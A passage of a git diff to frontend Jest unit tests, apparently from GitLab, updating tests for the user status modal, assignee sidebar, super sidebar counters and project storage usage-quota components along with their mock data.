+ availability: AVAILABILITY_STATUS.NOT_SET,
+ emoji: defaultEmoji,
+ message: defaultMessage,
+ });
});
});
diff --git a/spec/frontend/set_status_modal/user_profile_set_status_wrapper_spec.js b/spec/frontend/set_status_modal/user_profile_set_status_wrapper_spec.js
index eaee0e77311..a4a2a86dc73 100644
--- a/spec/frontend/set_status_modal/user_profile_set_status_wrapper_spec.js
+++ b/spec/frontend/set_status_modal/user_profile_set_status_wrapper_spec.js
@@ -1,8 +1,6 @@
import { nextTick } from 'vue';
import { cloneDeep } from 'lodash';
import { mountExtended } from 'helpers/vue_test_utils_helper';
-import { resetHTMLFixture } from 'helpers/fixtures';
-import { useFakeDate } from 'helpers/fake_date';
import UserProfileSetStatusWrapper from '~/set_status_modal/user_profile_set_status_wrapper.vue';
import SetStatusForm from '~/set_status_modal/set_status_form.vue';
import { TIME_RANGES_WITH_NEVER, NEVER_TIME_RANGE } from '~/set_status_modal/constants';
@@ -51,7 +49,7 @@ describe('UserProfileSetStatusWrapper', () => {
emoji: defaultProvide.fields.emoji.value,
message: defaultProvide.fields.message.value,
availability: true,
- clearStatusAfter: NEVER_TIME_RANGE,
+ clearStatusAfter: null,
currentClearStatusAfter: defaultProvide.fields.clearStatusAfter.value,
});
});
@@ -69,27 +67,41 @@ describe('UserProfileSetStatusWrapper', () => {
);
});
- describe('when clear status after dropdown is set to `Never`', () => {
- it('renders hidden clear status after input with value unset', () => {
- createComponent();
+ describe('when clear status after has previously been set', () => {
+ describe('when clear status after dropdown is not set', () => {
+ it('does not render hidden clear status after input', () => {
+ createComponent();
- expect(
- findInput(defaultProvide.fields.clearStatusAfter.name).attributes('value'),
- ).toBeUndefined();
+ expect(findInput(defaultProvide.fields.clearStatusAfter.name).exists()).toBe(false);
+ });
});
- });
- describe('when clear status after dropdown has a value selected', () => {
- it('renders hidden clear status after input with value set', async () => {
- createComponent();
+ describe('when clear status after dropdown is set to `Never`', () => {
+ it('renders hidden clear status after input with value unset', async () => {
+ createComponent();
- findSetStatusForm().vm.$emit('clear-status-after-click', TIME_RANGES_WITH_NEVER[1]);
+ findSetStatusForm().vm.$emit('clear-status-after-click', NEVER_TIME_RANGE);
- await nextTick();
+ await nextTick();
- expect(findInput(defaultProvide.fields.clearStatusAfter.name).attributes('value')).toBe(
- TIME_RANGES_WITH_NEVER[1].shortcut,
- );
+ expect(
+ findInput(defaultProvide.fields.clearStatusAfter.name).attributes('value'),
+ ).toBeUndefined();
+ });
+ });
+
+ describe('when clear status after dropdown is set to a time range', () => {
+ it('renders hidden clear status after input with value set', async () => {
+ createComponent();
+
+ findSetStatusForm().vm.$emit('clear-status-after-click', TIME_RANGES_WITH_NEVER[1]);
+
+ await nextTick();
+
+ expect(findInput(defaultProvide.fields.clearStatusAfter.name).attributes('value')).toBe(
+ TIME_RANGES_WITH_NEVER[1].shortcut,
+ );
+ });
});
});
@@ -120,37 +132,4 @@ describe('UserProfileSetStatusWrapper', () => {
expect(findInput(defaultProvide.fields.message.name).attributes('value')).toBe(newMessage);
});
});
-
- describe('when form is successfully submitted', () => {
- // 2022-09-02 00:00:00 UTC
- useFakeDate(2022, 8, 2);
-
- const form = document.createElement('form');
- form.classList.add('js-edit-user');
-
- beforeEach(async () => {
- document.body.appendChild(form);
- createComponent();
-
- const oneDay = TIME_RANGES_WITH_NEVER[4];
-
- findSetStatusForm().vm.$emit('clear-status-after-click', oneDay);
-
- await nextTick();
-
- form.dispatchEvent(new Event('ajax:success'));
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- it('updates clear status after dropdown to `Never`', () => {
- expect(findSetStatusForm().props('clearStatusAfter')).toBe(NEVER_TIME_RANGE);
- });
-
- it('updates `currentClearStatusAfter` prop', () => {
- expect(findSetStatusForm().props('currentClearStatusAfter')).toBe('2022-09-03 00:00:00 UTC');
- });
- });
});
diff --git a/spec/frontend/set_status_modal/utils_spec.js b/spec/frontend/set_status_modal/utils_spec.js
index 1e918b75a98..a1c899be900 100644
--- a/spec/frontend/set_status_modal/utils_spec.js
+++ b/spec/frontend/set_status_modal/utils_spec.js
@@ -1,5 +1,8 @@
-import { isUserBusy } from '~/set_status_modal/utils';
-import { AVAILABILITY_STATUS } from '~/set_status_modal/constants';
+import { isUserBusy, computedClearStatusAfterValue } from '~/set_status_modal/utils';
+import { AVAILABILITY_STATUS, NEVER_TIME_RANGE } from '~/set_status_modal/constants';
+import { timeRanges } from '~/vue_shared/constants';
+
+const [thirtyMinutes] = timeRanges;
describe('Set status modal utils', () => {
describe('isUserBusy', () => {
@@ -13,4 +16,15 @@ describe('Set status modal utils', () => {
expect(isUserBusy(value)).toBe(result);
});
});
+
+ describe('computedClearStatusAfterValue', () => {
+ it.each`
+ value | expected
+ ${null} | ${null}
+ ${NEVER_TIME_RANGE} | ${null}
+ ${thirtyMinutes} | ${thirtyMinutes.shortcut}
+ `('with $value returns $expected', ({ value, expected }) => {
+ expect(computedClearStatusAfterValue(value)).toBe(expected);
+ });
+ });
});
diff --git a/spec/frontend/sidebar/components/assignees/assignees_spec.js b/spec/frontend/sidebar/components/assignees/assignees_spec.js
index 6971ae2f9ed..d422292ed9e 100644
--- a/spec/frontend/sidebar/components/assignees/assignees_spec.js
+++ b/spec/frontend/sidebar/components/assignees/assignees_spec.js
@@ -1,10 +1,10 @@
import { GlIcon } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
-import { nextTick } from 'vue';
import { trimText } from 'helpers/text_helper';
import UsersMockHelper from 'helpers/user_mock_data_helper';
import Assignee from '~/sidebar/components/assignees/assignees.vue';
import AssigneeAvatarLink from '~/sidebar/components/assignees/assignee_avatar_link.vue';
+import CollapsedAssigneeList from '~/sidebar/components/assignees/collapsed_assignee_list.vue';
import UsersMock from '../../mock_data';
describe('Assignee component', () => {
@@ -66,10 +66,8 @@ describe('Assignee component', () => {
editable: true,
});
- jest.spyOn(wrapper.vm, '$emit');
- wrapper.find('[data-testid="assign-yourself"]').trigger('click');
+ await wrapper.find('[data-testid="assign-yourself"]').trigger('click');
- await nextTick();
expect(wrapper.emitted('assign-self')).toHaveLength(1);
});
});
@@ -166,7 +164,11 @@ describe('Assignee component', () => {
editable: true,
});
- expect(wrapper.vm.sortedAssigness[0].can_merge).toBe(true);
+ expect(wrapper.findComponent(CollapsedAssigneeList).props('users')[0]).toEqual(
+ expect.objectContaining({
+ can_merge: true,
+ }),
+ );
});
it('passes the sorted assignees to the uncollapsed-assignee-list', () => {
diff --git a/spec/frontend/sidebar/components/copy/sidebar_reference_widget_spec.js b/spec/frontend/sidebar/components/copy/sidebar_reference_widget_spec.js
index c5161a748a9..40f14d581dc 100644
--- a/spec/frontend/sidebar/components/copy/sidebar_reference_widget_spec.js
+++ b/spec/frontend/sidebar/components/copy/sidebar_reference_widget_spec.js
@@ -66,7 +66,7 @@ describe('Sidebar Reference Widget', () => {
});
describe('when error occurs', () => {
- it('calls createFlash with correct parameters', async () => {
+ it(`emits 'fetch-error' event with correct parameters`, async () => {
const mockError = new Error('mayday');
createComponent({
diff --git a/spec/frontend/super_sidebar/components/counter_spec.js b/spec/frontend/super_sidebar/components/counter_spec.js
new file mode 100644
index 00000000000..1150b0a3aa8
--- /dev/null
+++ b/spec/frontend/super_sidebar/components/counter_spec.js
@@ -0,0 +1,56 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { __ } from '~/locale';
+import Counter from '~/super_sidebar/components/counter.vue';
+
+describe('Counter component', () => {
+ let wrapper;
+
+ const defaultPropsData = {
+ count: 3,
+ href: '',
+ icon: 'issues',
+ label: __('Issues'),
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findButton = () => wrapper.find('button');
+ const findIcon = () => wrapper.getComponent(GlIcon);
+ const findLink = () => wrapper.find('a');
+
+ const createWrapper = (props = {}) => {
+ wrapper = shallowMountExtended(Counter, {
+ propsData: {
+ ...defaultPropsData,
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ describe('default', () => {
+ it('renders icon', () => {
+ expect(findIcon().props('name')).toBe('issues');
+ });
+
+ it('renders button', () => {
+ expect(findButton().attributes('aria-label')).toBe('Issues 3');
+ expect(findLink().exists()).toBe(false);
+ });
+ });
+
+ describe('link', () => {
+ it('renders link', () => {
+ createWrapper({ href: '/dashboard/todos' });
+ expect(findLink().attributes('aria-label')).toBe('Issues 3');
+ expect(findLink().attributes('href')).toBe('/dashboard/todos');
+ expect(findButton().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/super_sidebar/components/super_sidebar_spec.js b/spec/frontend/super_sidebar/components/super_sidebar_spec.js
new file mode 100644
index 00000000000..d7d2f67dc8a
--- /dev/null
+++ b/spec/frontend/super_sidebar/components/super_sidebar_spec.js
@@ -0,0 +1,33 @@
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import SuperSidebar from '~/super_sidebar/components/super_sidebar.vue';
+import UserBar from '~/super_sidebar/components/user_bar.vue';
+import { sidebarData } from '../mock_data';
+
+describe('SuperSidebar component', () => {
+ let wrapper;
+
+ const findUserBar = () => wrapper.findComponent(UserBar);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const createWrapper = (props = {}) => {
+ wrapper = shallowMountExtended(SuperSidebar, {
+ propsData: {
+ sidebarData,
+ ...props,
+ },
+ });
+ };
+
+ describe('default', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ it('renders UserBar with sidebarData', () => {
+ expect(findUserBar().props('sidebarData')).toBe(sidebarData);
+ });
+ });
+});
diff --git a/spec/frontend/super_sidebar/components/user_bar_spec.js b/spec/frontend/super_sidebar/components/user_bar_spec.js
new file mode 100644
index 00000000000..6d0186a2749
--- /dev/null
+++ b/spec/frontend/super_sidebar/components/user_bar_spec.js
@@ -0,0 +1,46 @@
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { __ } from '~/locale';
+import Counter from '~/super_sidebar/components/counter.vue';
+import UserBar from '~/super_sidebar/components/user_bar.vue';
+import { sidebarData } from '../mock_data';
+
+describe('UserBar component', () => {
+ let wrapper;
+
+ const findCounter = (at) => wrapper.findAllComponents(Counter).at(at);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const createWrapper = (props = {}) => {
+ wrapper = shallowMountExtended(UserBar, {
+ propsData: {
+ sidebarData,
+ ...props,
+ },
+ provide: {
+ rootPath: '/',
+ toggleNewNavEndpoint: '/-/profile/preferences',
+ },
+ });
+ };
+
+ describe('default', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ it('renders issues counter', () => {
+ expect(findCounter(0).props('count')).toBe(sidebarData.assigned_open_issues_count);
+ expect(findCounter(0).props('href')).toBe(sidebarData.issues_dashboard_path);
+ expect(findCounter(0).props('label')).toBe(__('Issues'));
+ });
+
+ it('renders todos counter', () => {
+ expect(findCounter(2).props('count')).toBe(sidebarData.todos_pending_count);
+ expect(findCounter(2).props('href')).toBe('/dashboard/todos');
+ expect(findCounter(2).props('label')).toBe(__('To-Do list'));
+ });
+ });
+});
diff --git a/spec/frontend/super_sidebar/mock_data.js b/spec/frontend/super_sidebar/mock_data.js
new file mode 100644
index 00000000000..7db0d0ea5cc
--- /dev/null
+++ b/spec/frontend/super_sidebar/mock_data.js
@@ -0,0 +1,9 @@
+export const sidebarData = {
+ name: 'Administrator',
+ username: 'root',
+ avatar_url: 'path/to/img_administrator',
+ assigned_open_issues_count: 1,
+ assigned_open_merge_requests_count: 2,
+ todos_pending_count: 3,
+ issues_dashboard_path: 'path/to/issues',
+};
diff --git a/spec/frontend/usage_quotas/storage/components/project_storage_app_spec.js b/spec/frontend/usage_quotas/storage/components/project_storage_app_spec.js
new file mode 100644
index 00000000000..3379af3f41c
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/components/project_storage_app_spec.js
@@ -0,0 +1,150 @@
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import ProjectStorageApp from '~/usage_quotas/storage/components/project_storage_app.vue';
+import UsageGraph from '~/usage_quotas/storage/components/usage_graph.vue';
+import { TOTAL_USAGE_DEFAULT_TEXT } from '~/usage_quotas/storage/constants';
+import getProjectStorageStatistics from '~/usage_quotas/storage/queries/project_storage.query.graphql';
+import {
+ projectData,
+ mockGetProjectStorageStatisticsGraphQLResponse,
+ mockEmptyResponse,
+ defaultProjectProvideValues,
+} from '../mock_data';
+
+Vue.use(VueApollo);
+
+describe('ProjectStorageApp', () => {
+ let wrapper;
+
+ const createMockApolloProvider = ({ reject = false, mockedValue } = {}) => {
+ let response;
+
+ if (reject) {
+ response = jest.fn().mockRejectedValue(mockedValue || new Error('GraphQL error'));
+ } else {
+ response = jest.fn().mockResolvedValue(mockedValue);
+ }
+
+ const requestHandlers = [[getProjectStorageStatistics, response]];
+
+ return createMockApollo(requestHandlers);
+ };
+
+ const createComponent = ({ provide = {}, mockApollo } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(ProjectStorageApp, {
+ apolloProvider: mockApollo,
+ provide: {
+ ...defaultProjectProvideValues,
+ ...provide,
+ },
+ }),
+ );
+ };
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findUsagePercentage = () => wrapper.findByTestId('total-usage');
+ const findUsageQuotasHelpLink = () => wrapper.findByTestId('usage-quotas-help-link');
+ const findUsageGraph = () => wrapper.findComponent(UsageGraph);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with apollo fetching successful', () => {
+ let mockApollo;
+
+ beforeEach(async () => {
+ mockApollo = createMockApolloProvider({
+ mockedValue: mockGetProjectStorageStatisticsGraphQLResponse,
+ });
+ createComponent({ mockApollo });
+ await waitForPromises();
+ });
+
+ it('renders correct total usage', () => {
+ expect(findUsagePercentage().text()).toBe(projectData.storage.totalUsage);
+ });
+
+ it('renders correct usage quotas help link', () => {
+ expect(findUsageQuotasHelpLink().attributes('href')).toBe(
+ defaultProjectProvideValues.helpLinks.usageQuotas,
+ );
+ });
+ });
+
+ describe('with apollo loading', () => {
+ let mockApollo;
+
+ beforeEach(() => {
+ mockApollo = createMockApolloProvider({
+ mockedValue: new Promise(() => {}),
+ });
+ createComponent({ mockApollo });
+ });
+
+ it('should show loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+ });
+
+ describe('with apollo returning empty data', () => {
+ let mockApollo;
+
+ beforeEach(async () => {
+ mockApollo = createMockApolloProvider({
+ mockedValue: mockEmptyResponse,
+ });
+ createComponent({ mockApollo });
+ await waitForPromises();
+ });
+
+ it('shows default text for total usage', () => {
+ expect(findUsagePercentage().text()).toBe(TOTAL_USAGE_DEFAULT_TEXT);
+ });
+ });
+
+ describe('with apollo fetching error', () => {
+ let mockApollo;
+
+ beforeEach(async () => {
+ mockApollo = createMockApolloProvider();
+ createComponent({ mockApollo, reject: true });
+ await waitForPromises();
+ });
+
+ it('renders gl-alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+ });
+
+ describe('rendering <usage-graph />', () => {
+ let mockApollo;
+
+ beforeEach(async () => {
+ mockApollo = createMockApolloProvider({
+ mockedValue: mockGetProjectStorageStatisticsGraphQLResponse,
+ });
+ createComponent({ mockApollo });
+ await waitForPromises();
+ });
+
+ it('renders usage-graph component if project.statistics exists', () => {
+ expect(findUsageGraph().exists()).toBe(true);
+ });
+
+ it('passes project.statistics to usage-graph component', () => {
+ const {
+ __typename,
+ ...statistics
+ } = mockGetProjectStorageStatisticsGraphQLResponse.data.project.statistics;
+ expect(findUsageGraph().props('rootStorageStatistics')).toMatchObject(statistics);
+ });
+ });
+});
diff --git a/spec/frontend/usage_quotas/storage/components/project_storage_detail_spec.js b/spec/frontend/usage_quotas/storage/components/project_storage_detail_spec.js
new file mode 100644
index 00000000000..ce489f69cad
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/components/project_storage_detail_spec.js
@@ -0,0 +1,129 @@
+import { GlTableLite, GlPopover } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import ProjectStorageDetail from '~/usage_quotas/storage/components/project_storage_detail.vue';
+import {
+ containerRegistryPopoverId,
+ containerRegistryId,
+ uploadsPopoverId,
+ uploadsId,
+} from '~/usage_quotas/storage/constants';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { projectData, projectHelpLinks } from '../mock_data';
+
+describe('ProjectStorageDetail', () => {
+ let wrapper;
+
+ const { storageTypes } = projectData.storage;
+ const defaultProps = { storageTypes };
+
+ const createComponent = (props = {}) => {
+ wrapper = extendedWrapper(
+ mount(ProjectStorageDetail, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ provide: {
+ containerRegistryPopoverContent: 'Sample popover message',
+ },
+ }),
+ );
+ };
+
+ const generateStorageType = (id = 'buildArtifactsSize') => {
+ return {
+ storageType: {
+ id,
+ name: 'Test Name',
+ description: 'Test Description',
+ helpPath: '/test-type',
+ },
+ value: 400000,
+ };
+ };
+
+ const findTable = () => wrapper.findComponent(GlTableLite);
+ const findPopoverById = (id) =>
+ wrapper.findAllComponents(GlPopover).filter((p) => p.attributes('data-testid') === id);
+ const findContainerRegistryPopover = () => findPopoverById(containerRegistryPopoverId);
+ const findUploadsPopover = () => findPopoverById(uploadsPopoverId);
+ const findContainerRegistryWarningIcon = () => wrapper.find(`#${containerRegistryPopoverId}`);
+ const findUploadsWarningIcon = () => wrapper.find(`#${uploadsPopoverId}`);
+
+ beforeEach(() => {
+ createComponent();
+ });
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with storage types', () => {
+ it.each(storageTypes)(
+ 'renders table row correctly %o',
+ ({ storageType: { id, name, description } }) => {
+ expect(wrapper.findByTestId(`${id}-name`).text()).toBe(name);
+ expect(wrapper.findByTestId(`${id}-description`).text()).toBe(description);
+ expect(wrapper.findByTestId(`${id}-icon`).props('name')).toBe(id);
+ expect(wrapper.findByTestId(`${id}-help-link`).attributes('href')).toBe(
+ projectHelpLinks[id.replace(`Size`, ``)],
+ );
+ },
+ );
+
+ it('should render items in order from the biggest usage size to the smallest', () => {
+ const rows = findTable().find('tbody').findAll('tr');
+ // Cloning array not to mutate the source
+ const sortedStorageTypes = [...storageTypes].sort((a, b) => b.value - a.value);
+
+ sortedStorageTypes.forEach((storageType, i) => {
+ const rowUsageAmount = rows.wrappers[i].find('td:last-child').text();
+ const expectedUsageAmount = numberToHumanSize(storageType.value, 1);
+ expect(rowUsageAmount).toBe(expectedUsageAmount);
+ });
+ });
+ });
+
+ describe('without storage types', () => {
+ beforeEach(() => {
+ createComponent({ storageTypes: [] });
+ });
+
+ it('should render the table header <th>', () => {
+ expect(findTable().find('th').exists()).toBe(true);
+ });
+
+ it('should not render any table data <td>', () => {
+ expect(findTable().find('td').exists()).toBe(false);
+ });
+ });
+
+ describe.each`
+ description | mockStorageTypes | rendersContainerRegistryPopover | rendersUploadsPopover
+ ${'without any storage type that has popover'} | ${[generateStorageType()]} | ${false} | ${false}
+ ${'with container registry storage type'} | ${[generateStorageType(containerRegistryId)]} | ${true} | ${false}
+ ${'with uploads storage type'} | ${[generateStorageType(uploadsId)]} | ${false} | ${true}
+ ${'with container registry and uploads storage types'} | ${[generateStorageType(containerRegistryId), generateStorageType(uploadsId)]} | ${true} | ${true}
+ `(
+ '$description',
+ ({ mockStorageTypes, rendersContainerRegistryPopover, rendersUploadsPopover }) => {
+ beforeEach(() => {
+ createComponent({ storageTypes: mockStorageTypes });
+ });
+
+ it(`does ${
+ rendersContainerRegistryPopover ? '' : ' not'
+ } render container registry warning icon and popover`, () => {
+ expect(findContainerRegistryWarningIcon().exists()).toBe(rendersContainerRegistryPopover);
+ expect(findContainerRegistryPopover().exists()).toBe(rendersContainerRegistryPopover);
+ });
+
+ it(`does ${
+ rendersUploadsPopover ? '' : ' not'
+ } render container registry warning icon and popover`, () => {
+ expect(findUploadsWarningIcon().exists()).toBe(rendersUploadsPopover);
+ expect(findUploadsPopover().exists()).toBe(rendersUploadsPopover);
+ });
+ },
+ );
+});
diff --git a/spec/frontend/usage_quotas/storage/components/storage_type_icon_spec.js b/spec/frontend/usage_quotas/storage/components/storage_type_icon_spec.js
new file mode 100644
index 00000000000..1eb3386bfb8
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/components/storage_type_icon_spec.js
@@ -0,0 +1,41 @@
+import { mount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
+import StorageTypeIcon from '~/usage_quotas/storage/components/storage_type_icon.vue';
+
+describe('StorageTypeIcon', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = mount(StorageTypeIcon, {
+ propsData: {
+ ...props,
+ },
+ });
+ };
+
+ const findGlIcon = () => wrapper.findComponent(GlIcon);
+
+ describe('rendering icon', () => {
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ expected | provided
+ ${'doc-image'} | ${'lfsObjectsSize'}
+ ${'snippet'} | ${'snippetsSize'}
+ ${'infrastructure-registry'} | ${'repositorySize'}
+ ${'package'} | ${'packagesSize'}
+ ${'upload'} | ${'uploadsSize'}
+ ${'disk'} | ${'wikiSize'}
+ ${'disk'} | ${'anything-else'}
+ `(
+ 'renders icon with name of $expected when name prop is $provided',
+ ({ expected, provided }) => {
+ createComponent({ name: provided });
+
+ expect(findGlIcon().props('name')).toBe(expected);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/usage_quotas/storage/components/usage_graph_spec.js b/spec/frontend/usage_quotas/storage/components/usage_graph_spec.js
new file mode 100644
index 00000000000..75b970d937a
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/components/usage_graph_spec.js
@@ -0,0 +1,144 @@
+import { shallowMount } from '@vue/test-utils';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import UsageGraph from '~/usage_quotas/storage/components/usage_graph.vue';
+
+let data;
+let wrapper;
+
+function mountComponent({ rootStorageStatistics, limit }) {
+ wrapper = shallowMount(UsageGraph, {
+ propsData: {
+ rootStorageStatistics,
+ limit,
+ },
+ });
+}
+function findStorageTypeUsagesSerialized() {
+ return wrapper
+ .findAll('[data-testid="storage-type-usage"]')
+ .wrappers.map((wp) => wp.element.style.flex);
+}
+
+describe('Storage Counter usage graph component', () => {
+ beforeEach(() => {
+ data = {
+ rootStorageStatistics: {
+ wikiSize: 5000,
+ repositorySize: 4000,
+ packagesSize: 3000,
+ containerRegistrySize: 2500,
+ lfsObjectsSize: 2000,
+ buildArtifactsSize: 500,
+ pipelineArtifactsSize: 500,
+ snippetsSize: 2000,
+ storageSize: 17000,
+ uploadsSize: 1000,
+ },
+ limit: 2000,
+ };
+ mountComponent(data);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the legend in order', () => {
+ const types = wrapper.findAll('[data-testid="storage-type-legend"]');
+
+ const {
+ buildArtifactsSize,
+ pipelineArtifactsSize,
+ lfsObjectsSize,
+ packagesSize,
+ containerRegistrySize,
+ repositorySize,
+ wikiSize,
+ snippetsSize,
+ uploadsSize,
+ } = data.rootStorageStatistics;
+
+ expect(types.at(0).text()).toMatchInterpolatedText(`Wiki ${numberToHumanSize(wikiSize)}`);
+ expect(types.at(1).text()).toMatchInterpolatedText(
+ `Repository ${numberToHumanSize(repositorySize)}`,
+ );
+ expect(types.at(2).text()).toMatchInterpolatedText(
+ `Packages ${numberToHumanSize(packagesSize)}`,
+ );
+ expect(types.at(3).text()).toMatchInterpolatedText(
+ `Container Registry ${numberToHumanSize(containerRegistrySize)}`,
+ );
+ expect(types.at(4).text()).toMatchInterpolatedText(
+ `LFS storage ${numberToHumanSize(lfsObjectsSize)}`,
+ );
+ expect(types.at(5).text()).toMatchInterpolatedText(
+ `Snippets ${numberToHumanSize(snippetsSize)}`,
+ );
+ expect(types.at(6).text()).toMatchInterpolatedText(
+ `Artifacts ${numberToHumanSize(buildArtifactsSize + pipelineArtifactsSize)}`,
+ );
+ expect(types.at(7).text()).toMatchInterpolatedText(`Uploads ${numberToHumanSize(uploadsSize)}`);
+ });
+
+ describe('when storage type is not used', () => {
+ beforeEach(() => {
+ data.rootStorageStatistics.wikiSize = 0;
+ mountComponent(data);
+ });
+
+ it('filters the storage type', () => {
+ expect(wrapper.text()).not.toContain('Wikis');
+ });
+ });
+
+ describe('when there is no storage usage', () => {
+ beforeEach(() => {
+ data.rootStorageStatistics.storageSize = 0;
+ mountComponent(data);
+ });
+
+ it('does not render', () => {
+ expect(wrapper.html()).toEqual('');
+ });
+ });
+
+ describe('when limit is 0', () => {
+ beforeEach(() => {
+ data.limit = 0;
+ mountComponent(data);
+ });
+
+ it('sets correct flex values', () => {
+ expect(findStorageTypeUsagesSerialized()).toStrictEqual([
+ '0.29411764705882354',
+ '0.23529411764705882',
+ '0.17647058823529413',
+ '0.14705882352941177',
+ '0.11764705882352941',
+ '0.11764705882352941',
+ '0.058823529411764705',
+ '0.058823529411764705',
+ ]);
+ });
+ });
+
+ describe('when storage exceeds limit', () => {
+ beforeEach(() => {
+ data.limit = data.rootStorageStatistics.storageSize - 1;
+ mountComponent(data);
+ });
+
+ it('does render correclty', () => {
+ expect(findStorageTypeUsagesSerialized()).toStrictEqual([
+ '0.29411764705882354',
+ '0.23529411764705882',
+ '0.17647058823529413',
+ '0.14705882352941177',
+ '0.11764705882352941',
+ '0.11764705882352941',
+ '0.058823529411764705',
+ '0.058823529411764705',
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/usage_quotas/storage/mock_data.js b/spec/frontend/usage_quotas/storage/mock_data.js
new file mode 100644
index 00000000000..b1c6be10d80
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/mock_data.js
@@ -0,0 +1,101 @@
+import mockGetProjectStorageStatisticsGraphQLResponse from 'test_fixtures/graphql/usage_quotas/storage/project_storage.query.graphql.json';
+
+export { mockGetProjectStorageStatisticsGraphQLResponse };
+export const mockEmptyResponse = { data: { project: null } };
+
+export const projectData = {
+ storage: {
+ totalUsage: '13.8 MiB',
+ storageTypes: [
+ {
+ storageType: {
+ id: 'containerRegistrySize',
+ name: 'Container Registry',
+ description: 'Gitlab-integrated Docker Container Registry for storing Docker Images.',
+ helpPath: '/container_registry',
+ },
+ value: 3_900_000,
+ },
+ {
+ storageType: {
+ id: 'buildArtifactsSize',
+ name: 'Artifacts',
+ description: 'Pipeline artifacts and job artifacts, created with CI/CD.',
+ helpPath: '/build-artifacts',
+ },
+ value: 400000,
+ },
+ {
+ storageType: {
+ id: 'lfsObjectsSize',
+ name: 'LFS storage',
+ description: 'Audio samples, videos, datasets, and graphics.',
+ helpPath: '/lsf-objects',
+ },
+ value: 4800000,
+ },
+ {
+ storageType: {
+ id: 'packagesSize',
+ name: 'Packages',
+ description: 'Code packages and container images.',
+ helpPath: '/packages',
+ },
+ value: 3800000,
+ },
+ {
+ storageType: {
+ id: 'repositorySize',
+ name: 'Repository',
+ description: 'Git repository.',
+ helpPath: '/repository',
+ },
+ value: 3900000,
+ },
+ {
+ storageType: {
+ id: 'snippetsSize',
+ name: 'Snippets',
+ description: 'Shared bits of code and text.',
+ helpPath: '/snippets',
+ },
+ value: 0,
+ },
+ {
+ storageType: {
+ id: 'uploadsSize',
+ name: 'Uploads',
+ description: 'File attachments and smaller design graphics.',
+ helpPath: '/uploads',
+ },
+ value: 900000,
+ },
+ {
+ storageType: {
+ id: 'wikiSize',
+ name: 'Wiki',
+ description: 'Wiki content.',
+ helpPath: '/wiki',
+ },
+ value: 300000,
+ },
+ ],
+ },
+};
+
+export const projectHelpLinks = {
+ containerRegistry: '/container_registry',
+ usageQuotas: '/usage-quotas',
+ buildArtifacts: '/build-artifacts',
+ lfsObjects: '/lsf-objects',
+ packages: '/packages',
+ repository: '/repository',
+ snippets: '/snippets',
+ uploads: '/uploads',
+ wiki: '/wiki',
+};
+
+export const defaultProjectProvideValues = {
+ projectPath: '/project-path',
+ helpLinks: projectHelpLinks,
+};
diff --git a/spec/frontend/usage_quotas/storage/utils_spec.js b/spec/frontend/usage_quotas/storage/utils_spec.js
new file mode 100644
index 00000000000..8fdd307c008
--- /dev/null
+++ b/spec/frontend/usage_quotas/storage/utils_spec.js
@@ -0,0 +1,88 @@
+import cloneDeep from 'lodash/cloneDeep';
+import { PROJECT_STORAGE_TYPES } from '~/usage_quotas/storage/constants';
+import {
+ parseGetProjectStorageResults,
+ getStorageTypesFromProjectStatistics,
+ descendingStorageUsageSort,
+} from '~/usage_quotas/storage/utils';
+import {
+ mockGetProjectStorageStatisticsGraphQLResponse,
+ defaultProjectProvideValues,
+ projectData,
+} from './mock_data';
+
+describe('getStorageTypesFromProjectStatistics', () => {
+ const projectStatistics = mockGetProjectStorageStatisticsGraphQLResponse.data.project.statistics;
+
+ describe('matches project statistics value with matching storage type', () => {
+ const typesWithStats = getStorageTypesFromProjectStatistics(projectStatistics);
+
+ it.each(PROJECT_STORAGE_TYPES)('storage type: $id', ({ id }) => {
+ expect(typesWithStats).toContainEqual({
+ storageType: expect.objectContaining({
+ id,
+ }),
+ value: projectStatistics[id],
+ });
+ });
+ });
+
+ it('adds helpPath to a relevant type', () => {
+ const trimTypeId = (id) => id.replace('Size', '');
+ const helpLinks = PROJECT_STORAGE_TYPES.reduce((acc, { id }) => {
+ const key = trimTypeId(id);
+ return {
+ ...acc,
+ [key]: `url://${id}`,
+ };
